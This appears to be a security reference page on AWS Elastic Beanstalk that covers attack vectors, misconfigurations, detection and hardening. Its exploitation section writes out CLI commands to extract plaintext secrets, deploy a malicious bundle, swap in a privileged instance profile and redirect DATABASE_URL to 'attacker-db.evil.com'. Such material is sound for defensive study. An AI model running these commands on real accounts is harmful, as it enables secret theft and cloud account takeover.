AWS Elastic Beanstalk Security

COMPUTE

AWS Elastic Beanstalk is a PaaS that orchestrates EC2, Auto Scaling, ELB, S3, CloudWatch, and IAM to deploy applications. It creates a predictable S3 bucket (elasticbeanstalk-region-account-id) containing source bundles, exposes environment variables in plaintext through its API, and runs EC2 instances with IMDS.

HIGH	Regional	EC2 Instances	Svc + Instance
Risk Level	Scope	IMDS Exposure	IAM Roles

📋 Service Overview

Application Deployment & S3 Storage

Every application version is stored as a ZIP/WAR source bundle in elasticbeanstalk-region-account-id S3 bucket. Source bundles frequently contain hardcoded secrets, database credentials, and API keys.

Attack note: The S3 bucket name is deterministic -- knowing the region and account ID is enough to construct it. Source bundles often contain .env files with secrets.

Environment Config & Secrets Exposure

Environment properties are stored as option settings and returned in plaintext by DescribeConfigurationSettings. Any principal with this permission can read every environment variable including secrets.

Attack note: Environment variables are not encrypted at rest. They are visible in plaintext in the console and API responses. Use Secrets Manager references instead.

Security Risk Assessment

Low Medium High Critical

8.0

Risk Score

Elastic Beanstalk combines multiple attack surfaces: deterministic S3 bucket naming exposes source code, plaintext environment variables leak secrets through the API, EC2 instances with IMDS provide credential theft opportunities, and .ebextensions hooks allow code execution as root.

⚔️ Attack Vectors

Source Code and Secrets Theft

- Download source bundles from predictable S3 bucket
- Extract env vars via DescribeConfigurationSettings
- Access .env files and config files from source bundles
- Read secrets from S3-stored deployment artifacts
- Enumerate app versions to find older leaked secrets

Instance and Deployment Compromise

- SSRF to IMDS (169.254.169.254) on deployed app
- Inject malicious code via .ebextensions commands
- Execute scripts via .platform/hooks/ (runs as root)
- Abuse container_commands for pre-deployment RCE
- Modify environment to attach over-privileged instance profile

⚠️ Misconfigurations

Secrets and Access

- Hardcoded secrets in environment properties
- Database credentials in .ebextensions option_settings
- S3 source bucket with overly permissive policy
- Source bundles containing .env files with secrets
- S3 bucket using default SSE-S3 instead of SSE-KMS

Infrastructure Security

- IMDSv1 enabled (default on AL2 and earlier)
- Over-privileged instance profile
- Security groups allowing 0.0.0.0/0 inbound
- Managed platform updates disabled
- VPC flow logs not enabled

🔍 Enumeration

List All Applications

```
aws elasticbeanstalk
describe-applications
```

List All Environments

```
aws elasticbeanstalk
describe-environments
```

Extract Environment Config (Plaintext Secrets)

```
aws elasticbeanstalk
describe-configuration-
settings \
  --application-name
APP_NAME \
  --environment-name
ENV_NAME
```

List Application Versions (S3 Locations)

```
aws elasticbeanstalk
describe-application-
versions \
  --application-name
APP_NAME
```

Download Source Bundle from S3

```
aws s3 cp s3://
elasticbeanstalk-REGION-
ACCOUNT_ID/APP_NAME/
SOURCE_BUNDLE.zip .
```

📈 Privilege Escalation

Via Source Bundle Injection

- CreateApplicationVersion + UpdateEnvironment for RCE
- .ebextensions commands run as root on deployment
- .platform/hooks/ scripts run as root
- Reverse shell installation via deployment hooks
- Instance profile credential exfiltration

Via Environment Manipulation

- Modify DATABASE_URL to attacker-controlled server
- Inject reverse shell via consumed env variable
- Change instance profile to more privileged role
- Access elevated IMDS credentials via iam:PassRole

Key insight: Elastic Beanstalk exposes secrets through three channels: IMDS on instances, environment variables via the API, and source bundles in S3. All three must be secured independently.

🔗 Persistence

Code-Level

- Deploy malicious source bundle with backdoor
- .ebextensions for persistent root-level access
- .platform/hooks for deployment-time execution
- Modify S3 source bundles for future deployments
- Inject malicious environment variables

Infrastructure-Level

- Maintain IMDS credential access from instances
- Store exfiltrated credentials for out-of-band access
- Modify security groups for persistent network access
- Swap instance profile to maintain elevated access
- Create additional app versions as backup access

🛡️ Detection

CloudTrail Events

- CreateApplicationVersion - new source bundle uploaded
- UpdateEnvironment - environment config changed
- DescribeConfigurationSettings - secrets read
- SwapEnvironmentCNAMEs - DNS swap between envs
- RebuildEnvironment - environment rebuilt

Indicators of Compromise

- DescribeConfigurationSettings from unusual principals
- S3 GetObject on elasticbeanstalk-* from unknown IPs
- UpdateEnvironment changing instance profile
- CreateApplicationVersion from unexpected S3 location
- Multiple DescribeApplicationVersions calls (recon)

💻 Exploitation Commands

Extract All Environment Variables

```
aws elasticbeanstalk describe-configuration-settings \
  --application-name APP_NAME \
  --environment-name ENV_NAME \
  --query 'ConfigurationSettings[0].OptionSettings[?
Namespace==`aws:elasticbeanstalk:application:environment`].
[OptionName,Value]' \
  --output table
```

Deploy Malicious Source Bundle

```
aws elasticbeanstalk create-application-version \
  --application-name APP_NAME \
  --version-label malicious-v1 \
  --source-bundle S3Bucket=elasticbeanstalk-REGION-
ACCOUNT,S3Key=deploy.zip
```

Swap Instance Profile

```
aws elasticbeanstalk update-environment \
  --environment-name ENV_NAME \
  --option-settings
Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInst
anceProfile,Value=PRIVILEGED_PROFILE
```

Inject Environment Variable

```
aws elasticbeanstalk update-environment \
  --environment-name ENV_NAME \
  --option-settings
Namespace=aws:elasticbeanstalk:application:environment,OptionName
=DATABASE_URL,Value=attacker-db.evil.com
```

📜 Policy Examples

✗ Dangerous - Full Elastic Beanstalk Access

```
{
  "Effect": "Allow",
  "Action": "elasticbeanstalk:*",
  "Resource": "*"
}
```

Full control -- can read secrets, deploy malicious code, and change instance profiles

✓ Secure - Read-Only (No Config Access)

```
{
  "Effect": "Allow",
  "Action": [
    "elasticbeanstalk:DescribeApplications",
    "elasticbeanstalk:DescribeEnvironments",
    "elasticbeanstalk:DescribeEnvironmentHealth"
  ],
  "Resource": "*"
}
```

Environment monitoring without exposing configuration secrets

✗ Dangerous - Env Variable Read Access

```
{
  "Effect": "Allow",
  "Action": "elasticbeanstalk:DescribeConfigurationSettings",
  "Resource": "*"
}
```

Allows reading all environment variables (including plaintext secrets) from any environment

Defense Recommendations

Use Secrets Manager Instead of Env Properties

Never store raw secrets in Elastic Beanstalk environment properties. Use Secrets Manager references.

```
aws elasticbeanstalk update-environment --environment-name ENV \
  --option-settings Namespace=aws:elasticbeanstalk:application:environments
ecrets,OptionName=DB_PASSWORD,Value=arn:aws:secretsmanager:REGION:ACCT:secret:my-pass
```

Enforce IMDSv2 on All Instances

Block SSRF-based credential theft by requiring IMDSv2 on all EC2 instances.

```
aws elasticbeanstalk update-environment --environment-name ENV \
  --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName
=DisableIMDSv1,Value=true
```

Enable S3 Bucket Encryption

Enable KMS encryption on the Elastic Beanstalk S3 bucket and restrict access to service role only.

Use Least-Privilege Instance Profiles

Create custom instance profile with only required permissions. Remove unused managed policies.

Enable Managed Platform Updates

Keep OS, runtime, and web server patched automatically.

🚫 **Restrict DescribeConfigurationSettings**

Explicitly deny DescribeConfigurationSettings for all principals except deployment pipelines.

Always obtain proper authorization before testing